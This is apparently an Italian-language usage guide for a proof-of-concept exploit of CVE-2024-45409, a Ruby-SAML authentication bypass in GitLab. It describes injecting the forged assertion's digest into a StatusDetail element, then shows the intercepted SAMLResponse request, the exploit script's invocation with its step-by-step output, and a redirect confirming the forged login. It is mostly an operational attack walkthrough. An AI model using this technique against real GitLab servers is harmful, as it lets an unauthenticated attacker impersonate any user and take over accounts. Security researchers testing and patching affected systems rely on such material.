
Exploit del bypass dell'autenticazione di Ruby-SAML / GitLab (CVE-2024-45409)
Questo script sfrutta la CVE-2024-45409 che consente a un attaccante non autenticato, con accesso a qualsiasi documento SAML firmato emesso dall'IDP, di forgiare una SAML Response/Assertion e ottenere l'accesso come qualsiasi utente su GitLab.
Tutte le seguenti versioni di GitLab (CE/EE) sono vulnerabili:
Questo exploit inietta il DigestValue dell'assertion modificata nell'elemento StatusDetail, consentendo di introdurre furtivamente il selettore XPath che userà questo valore invece di quello nel blocco SignedInfo.
apt install python3-lxml
Intercettare l'URL e la risposta SAML dell'IDP codificata in Base64, quindi modificare il contenuto XML utilizzando lo script.
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64
Successivamente, sostituisci il valore del parametro SAMLResponse con l'output dello script. Se l'autenticazione riesce, verrai reindirizzato alla homepage di GitLab.
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>